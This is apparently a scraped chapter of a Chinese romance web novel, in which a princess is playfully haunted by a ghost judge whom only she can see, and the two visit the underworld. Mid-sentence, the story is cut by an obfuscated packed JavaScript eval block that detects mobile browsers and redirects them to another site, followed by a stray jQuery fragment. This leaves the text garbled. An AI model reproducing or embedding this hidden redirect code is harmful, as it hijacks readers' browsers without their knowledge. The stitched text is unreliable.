67. 缠人

作品:《大人,您的亡妻在吃火锅

    屠笑尔从未想过,盖着被子纯聊天这样的事情,竟能发生在她自己身上。


    不是因为她定力强,她发誓自己在那一刻都想好怎么顺理成章地摸一下那块成色极好的胸肌了,可虞无妄吹灭了蜡烛,刚一转身,她就睡着了。


    清晨,屠笑尔侧头看着进进出出烧水煮粥的虞无妄,悄悄磨了磨牙。


    那人现在又把衣领给系得好好的,叫她一点春光都瞥不见。


    难道昨晚上他那副衣衫半解、眼神缱绻的样子都是她的错觉?


    只勾引不让吃,可恶啊!


    屠笑尔想叫人过来对质一番,又琢磨着要怎么开口才能显得她是个正人君子。


    正琢磨着,衣柜被一只小手从内部推开,两个纸人小丫鬟爬了出来,齐齐跑到屠笑尔身旁,一个扶她坐起,另一个给她更衣。


    屠笑尔往窗外看去,是姐姐来了。


    屠谑云从不在眉间点花钿,头发束得干净整齐,露出光洁饱满的额头。她迈过小院门槛,把众小吏关在门外,就一溜小跑进来,满脸开心:“妹妹!”


    早朝散会之后,来妹妹这里坐一会,听她骂一骂离谱的言官,今日的气就全消了。


    “瞧我给你带了什么。”屠谑云手腕一翻,宽大的朝服从手腕滑落,露出一只精致的天蓝色琉璃小茶壶。


    “听东凤说你最近喜欢收集茶壶,今日有人从东土淘来这只宝贝,我猜你会喜欢。”


    屠笑尔小心接过,对着窗外的光看了看,清透天光穿琉璃而过,壶壁上的天然纹路清晰可见,那抹浅淡的天蓝宛若舒展的薄瓣,莹润剔透。


    “好喜欢,多谢姐姐!”


    “跟我客气什么。”屠谑云说着,又掏出另一只小壶给她,“还有这只浅绿色的。等会我要出宫门去找趟哑兄弟,拜托他给我办点事情,不知他会不会同意。”


    “肯定会啊。”屠笑尔接过小壶仔细看,发现心底果然更偏爱天蓝色,“他上回来了还说做老板的日子好无聊,想找点差事做,玄黎的影卫卡身高,他又矮了一点进不去。”


    “他那身手当什么影卫啊。”屠谑云不解,“岂不是屈才了。若是他愿意,来宫内任职便是,我赐他腰牌,托他帮着操练兵马,倒也合宜。”


    “姐姐只管问他,他多半是愿意的。”屠笑尔想了想,问道,“有什么事要拜托他跑腿?”


    屠谑云直白道:“想杀几个武功邪门的番邦人,今日我派人在边疆设哨卡,有人叫来一伙番邦人百般阻挠,一问才知他们向百姓收过路税已多年,想要把人捕来,可卫兵都被他们抓去活埋了。这般祸害,还是杀了干净。”


    屠笑尔点点头:“但愿师兄的武功没有退化。”


    一个声音倏然响在她耳后:“哑刃的功夫可没生疏。”


    屠笑尔吓得浑身一震,扭头去看,只见虞无妄不知何时回到床榻上,正坐在她身后,神色戏谑。


    屠笑尔看看他,又看看姐姐。屠谑云全无异样,显然看不到虞无妄,也听不到他说话。


    屠谑云道:“我会多派一队影卫听他调遣,放心好了,哑兄弟待你那么好,我不会亏待他的。”


    “他待我好吗?”屠笑尔睁大眼睛,指手画脚地告状,“你不知道,他想把我当纸鸢放!”


    “哈哈哈哈怎么可能,他是在逗你玩罢?”


    一双恼人的手从身后搭了上来,把纸人系错的一处绳结拉开,又不紧不慢地系好。


    屠笑尔面对着心思敏锐的姐姐,面上不敢显出什么异样,可身后的人烦得要命,又是系绳子,又是编小辫。茉莉花的香气几乎将她包裹,可姐姐就像闻不到一样。


    屠笑尔指尖抓住被子,咬了咬牙。


    屠谑云立刻看到了她的小动作,关切道:“妹妹,不舒服吗?怎地又出了汗。”


    虞无妄对着她的耳侧低声学道:“怎地又出了汗?”


    屠笑尔想对着身后翻白眼,又怕姐姐以为她疯了。毕竟她上次跑出门喊张太医来看妹妹脑袋的事情还历历在目。


    “无事,姐姐,最近气血太旺,我光坐着就能出汗。”屠笑尔咬牙道。


    “等会我差人再往你这里送些冰块。”屠谑云环顾了下屋子,奇道,“我发现你这殿里就是要比其他地方更凉快些,当真是处风水宝地。”


    啥宝地啊,明明是因为这片地界闹鬼了。


    虞无妄把下颌直接搭在屠笑尔肩上,对着她的耳朵悠悠道:“聊得太久啦,我煮的粥都要凉了。”


    屠笑尔微微偏头,躲过那份痒意,她抓了虞无妄的手,往前递给屠谑云,势必要戳穿这只捣乱的鬼:“姐姐,你摸一下我手心。”


    屠谑云不明所以,还是伸出指头,往屠笑尔手心伸去。


    虞无妄腕骨在屠笑尔手中挣动两下,被她钳得更紧。她嘴角露出一抹势在必得的笑意。


    等着吧,她今日就要让他显出原形!


    可令人震惊的事发生了,屠谑云的手指径直穿过了虞无妄的皮肉骨头,与穿过空气别无二致,径直抵达了屠笑尔半握的手心。


    诶?怎么回事!


    屠笑尔难以置信地睁大眼睛,虞无妄在她耳边极轻地笑了一声,语气幽幽:“小聪明,你以为鬼是想摸就能摸到的么?”


    那也不能这么双标吧,凭什么只有她能看到能摸到?


    她头一次体会到被鬼缠住有多麻烦。


    虞无妄把脸埋在她颈侧低笑,气息弄得她半边肩膀都酥麻无比,腾地烧红了半边脸颊。


    “哎哟,这么热啊。”屠谑云看了看妹妹的脸蛋,“你且赶紧起来喝粥吧,我这就回去差人送冰块过来,可别中暑了。”


    屠谑云起身告别,匆匆走了,跨出门槛后又恢复了她那稳重大气的四方步。


    屠笑尔自暴自弃地往后一倒,不出所料地靠进一个结实的怀抱。


    她抓起虞无妄的手往自己脸上放,用始作俑者降温。


    始作俑者哪怕倒着看也貌美不似凡人,谁知这样清冷出尘的容貌能干出如此幼稚的事情呢。


    屠笑尔发现,他好像很喜欢和别人争夺自己的注意力,不知道是不是错觉。


    虞无妄翘着唇角,心情颇好的样子:“鸡丝粥真的要凉了,不骗你。烛狸在厨房里帮忙盯着荷花糕,总不能让小猫干那么重的活吧?”


    说到烛狸,屠笑尔又心软了。


    虞无妄总是很懂该用什么借口取得她的怜惜。


    虞无妄把手心换成手背,贴着屠笑尔柔软的脸颊,好像摸到一块热腾腾软乎乎、刚出锅的荷花糕:“在想什么呢?”


    他知道屠笑尔没有生气,她只是又在走神。每当这种时候,他只能祈祷她不是在琢磨干坏事。


    屠笑尔仰了下头,盯着床幔上的穗子,开口道:“我想把几个师兄都找回来,但不知道他们还活着没有。左右无还栈散了,他们在大姞无法容身,如果他们愿意,我想让他们都到玄黎来,不仅更自由些,还能助姐姐办事。”


    “这简单,翻一下功德簿便知。”虞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195909|194973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无妄说着,两手把屠笑尔抱了起来,轻松得就像拎起一只猫,“先吃饭,吃好了带你去翻。”


    “我也要去吗?”屠笑尔好奇道,“我不死也能混进去?”


    虞无妄把她一路抱到桌边才放下:“当然。有我在,不用死也能去。”


    这话说得。


    说不清是幸运还是不幸,屠笑尔端起碗来,大吃三口。


    虞无妄让她抱着烛狸,没做什么其他的事情,她跟着虞无妄出了院门,找了棵槐树,绕了几圈就走进了阴间。


    第二次走进黄泉路的地界,屠笑尔终于有心仔细观察,这里原来是有规范地标的,标注了黄泉路有多少米,哪个鬼差负责清点人数,哪个鬼差负责清扫垃圾,都有详细的规定。


    见一个生魂抱着只黑猫,鬼差们都过来看热闹,远远地开始交头接耳。


    屠笑尔掂了掂怀里柔软的黑猫,低头问道:“烛狸,你在这里很出名吗?”


    “不是烛狸,你在这里很出名。”虞无妄说着,伸出一只手,“牵好,省得走丢了。”


    “我哪有那么笨。”屠笑尔不服气地说着,还是牵上了。这里路不熟,她自然要警惕。


    虞无妄牵着她,低调而得意地从鬼差们身前路过,还把袖子挽起几寸,展示自己牵着的小手,秀得一众单身鬼又气又急,嗷嗷嚎叫。


    “虞无妄,他们有什么问题吗?”屠笑尔不解地问。


    “没必要理解他们。”虞无妄说着,与屠笑尔换了左右位置,他此刻又有些后悔,不想让别人看到她。


    在心里纠结了一路,虞无妄终于领着人到了阴律司,门口的恶鬼青面獠牙,很是吓人,祂像气球人一样俯下身来,仔细打量着屠笑尔。


    “我不能进吗?”屠笑尔拉了下虞无妄的袖子,小声问。


    “能进,祂只是好奇。”虞无妄淡淡道。


    话音刚落,那位看门的阴差便把手伸进兜里,凶神恶煞地送了屠笑尔一只金钗子。


    她哭笑不得地接了,迈过齐腰高的门槛,仰头一看,是九百九十九层阶梯。


    屠笑尔:……


    她当即就要不讲究地往地上坐:“你去吧,我在这里等……”


    放弃宣言还未讲完,虞无妄的眸子望了过来,那双深情的眼中充满了担忧:“可这里恶鬼众多,留在此处并不安全。”


    “哪里有恶鬼?”屠笑尔问。


    虞无妄指了指看门的凶兽。


    屠笑尔转过脸来,一双眼葡萄似的清亮:“我又不怕。”


    虞无妄沉默片刻:“我害怕。”


    要不是动作不雅,屠笑尔想当即掏一下耳朵。对了,鬼市里有采耳的小摊吗?她真的很需要。


    “你,判官,怕鬼?”屠笑尔问。


    “嗯。”虞无妄看着她,神色里不知哪来的委屈。


    屠笑尔没辙了,她受不了这张脸上出现任何难过的表情,只好投降:“好好好我陪你。但我走不动。”


    虞无妄恰到好处地提出了解决办法:“我抱你上去。”


    屠笑尔做了几天公主,还是有包袱在身:“这不好吧?”


    好歹是个机关单位,成何体统。


    “怎么不好,我们昨晚不是都睡……唔。”


    屠笑尔猛地窜起来,把虞无妄的狂言捂在手心。大病初愈,也不知哪来的身手,异常矫健灵敏地爬到了他的怀中,无言往台阶上一指。


    虞无妄弯了弯眼睛,不再说话逗她,稳稳地抱着人,拾级而上。